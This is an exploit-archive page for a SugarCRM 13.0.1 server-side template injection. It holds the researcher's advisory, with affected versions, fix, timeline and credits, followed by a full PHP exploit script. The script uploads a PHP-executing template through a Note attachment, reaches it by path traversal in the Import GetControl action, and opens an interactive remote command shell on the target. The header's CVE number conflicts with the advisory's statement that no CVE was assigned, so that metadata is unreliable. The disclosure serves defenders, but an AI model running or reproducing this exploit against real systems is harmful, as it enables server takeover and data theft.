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SugarCRM 13.0.1 Server-Side Template Injection

CVE Category Price Severity
CVE-2021-29095 CWE-98 $5000 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2023-10-27
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023100050

Below is a copy:

SugarCRM 13.0.1 Server-Side Template Injection
----------------------------------------------------------------------------
SugarCRM <= 13.0.1 (GetControl) Server-Side Template Injection 
Vulnerability
----------------------------------------------------------------------------


[-] Software Link:

https://www.sugarcrm.com


[-] Affected Versions:

Version 13.0.1 and prior versions.
Version 12.0.3 and prior versions.


[-] Vulnerability Description:

There is a sort of Server-Side Template Injection (SSTI) vulnerability 
affecting
the "GetControl" action from the "Import" module. User input passed 
through the
"field_name" parameter is not properly sanitized before being used to 
construct
the path of the template to include. As such, this can be abused to 
include and
execute arbitrary PHP code through Path Traversal attacks.


[-] Proof of Concept:

https://karmainsecurity.com/pocs/KIS-2023-10.php

(Packet Storm note: POC included at bottom)


[-] Solution:

Upgrade to version 13.0.2, 12.0.4, or later.


[-] Disclosure Timeline:

[23/04/2023] - Vendor notified
[21/09/2023] - Fixed versions released
[06/10/2023] - CVE identifier requested
[26/10/2023] - Publication of this advisory


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has not assigned a CVE identifier for this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

https://karmainsecurity.com/KIS-2023-10


[-] Other References:

https://support.sugarcrm.com/resources/security/sugarcrm-sa-2023-010/



--- KIS-2023-10.php poc  ---

<?php

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[+] cURL extension required!\n");

if ($argc != 4) die("Usage: php $argv[0] <URL> <username> <password>\n");

list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];

print "[+] Logging in with username '{$user}' and password '{$pass}'\n";

$ch = curl_init();

$params = ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"];

curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/token");
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

if (($token = (json_decode(curl_exec($ch)))->access_token) == null) die("[+] Login failed!\n");

print "[+] Creating new Notes bean\n";

$note_id = time().".tpl";

curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/Notes");
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json", "OAuth-Token: {$token}"]);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(["id" => $note_id]));

if (!preg_match('/"id":"'.$note_id.'"/', curl_exec($ch))) die("[+] Bean creation failed!\n");

require_once("./lib/nusoap.php");
$client = new nusoap_client("{$url}soap.php", false);

if (($err = $client->getError()))
{
echo "\nConstructor error: $err";
echo "\nDebug: " . $client->getDebug() . "\n";
die();
}

print "[+] Sending SOAP login request\n";

$params = ["user_auth" => ["user_name" => $user, "password" => $pass]];
$session = $client->call('login', $params);

if ($session['id'] == -1) die("[+] SOAP login failed!\n");

print "[+] Uploading template through 'set_note_attachment'\n";

$params = ["session" => $session['id'], "note" => ["id" => $note_id, "file" => base64_encode("{php}passthru(\$_SERVER['HTTP_CMD']);{/php}")]];

$result = $client->call("set_note_attachment", $params);

print "[+] Getting PHPSESSID through BWC login\n";

curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/bwc/login");
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([]));
curl_setopt($ch, CURLOPT_HEADER, true);

if (!preg_match("/PHPSESSID=([^;]+);/", curl_exec($ch), $sid)) die("[-] Session ID not found!\n");

print "[+] Launching shell\n";

$note_id = substr($note_id, 0, -4);

curl_setopt($ch, CURLOPT_URL, "{$url}index.php?module=Import&action=GetControl&import_module=Bugs&field_name=/test");
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Cookie: PHPSESSID={$sid[1]}"]);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HEADER, false);

curl_exec($ch);

curl_setopt($ch, CURLOPT_URL, "{$url}index.php?module=Import&action=GetControl&import_module=Bugs&field_name=/../../../../upload/{$note_id}");

while(1)
{
    print "\nsugar-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".$cmd, "Cookie: PHPSESSID={$sid[1]}"]);
    ($r = curl_exec($ch)) ? print $r : die("\n[+] Exploit failed!\n");
}

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